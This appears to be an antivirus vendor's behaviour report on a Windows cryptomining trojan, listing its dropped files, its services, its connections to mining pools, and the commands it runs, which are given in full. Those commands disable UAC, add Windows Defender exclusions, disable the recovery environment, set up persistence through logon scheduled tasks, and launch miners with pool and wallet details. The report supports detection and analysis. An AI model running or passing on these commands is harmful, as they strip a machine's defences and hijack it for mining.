Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoftct
- <SYSTEM32>\tasks\services
- <SYSTEM32>\tasks\windowsservices
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\Libs\WR64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Microsoft\Libs\WR64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /F /IM SetupHost.exe
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\cr9333.exe
- %LOCALAPPDATA%\cr9332.exe
- %LOCALAPPDATA%\cr9331.exe
- %WINDIR%\svchosts.exe
- %APPDATA%\windowsservices.exe
- %HOMEPATH%\services.exe
- %APPDATA%\microsoft\libs\sihost64.exe
- %APPDATA%\microsoft\inc\sihost32.exe
- %APPDATA%\microsoft\libs\wr64.sys
Modifies the HOSTS file.
Network activity
Connects to
- 'pa###bin.com':443
- 'po##.#upportxmr.com':3333
TCP
- 'pa###bin.com':443
- 'po##.#upportxmr.com':3333
UDP
- DNS ASK pa###bin.com
- DNS ASK po##.#upportxmr.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%LOCALAPPDATA%\cr9331.exe'
- '%LOCALAPPDATA%\cr9333.exe'
- '%APPDATA%\windowsservices.exe'
- '%APPDATA%\microsoft\inc\sihost32.exe'
- '%APPDATA%\microsoft\libs\sihost64.exe'
- '%LOCALAPPDATA%\cr9332.exe'
- '%HOMEPATH%\services.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"%HOMEPATH%\Services.exe"' & exit' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC ONLOGON /TR %WINDIR%\svchosts.exe /TN MicrosoftCT' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% -Force' (with hidden window)
- '%WINDIR%\syswow64\reagentc.exe' /disable' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionProcess svchosts.exe -Force' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionProcess svchosts.exe' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %HOMEPATH%\AppData -Force' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR% -Force' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsServices" /tr '"%APPDATA%\WindowsServices.exe"' & exit' (with hidden window)
- '%WINDIR%\syswow64\taskkill.exe' /F /IM SetupHost.exe' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR% -Force
- '%WINDIR%\syswow64\reagentc.exe' /disable
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionProcess svchosts.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionProcess svchosts.exe -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %HOMEPATH%\AppData -Force
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC ONLOGON /TR %WINDIR%\svchosts.exe /TN MicrosoftCT
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsServices" /tr '"%APPDATA%\WindowsServices.exe"' & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"%HOMEPATH%\Services.exe"' & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "Services" /tr '"%HOMEPATH%\Services.exe"'
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "WindowsServices" /tr '"%APPDATA%\WindowsServices.exe"'
- '%WINDIR%\explorer.exe' --response-timeout=30 --farm-retries=30 --pool stratum://`0xd280836fb473018bf56bdc175bb3fbdcfe5e890b`@eth.2miners.com:2020 --unam-stealth
- '<SYSTEM32>\svchost.exe' -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:3333 --user=86sCS4GYc8HeiVW4rh8pD...
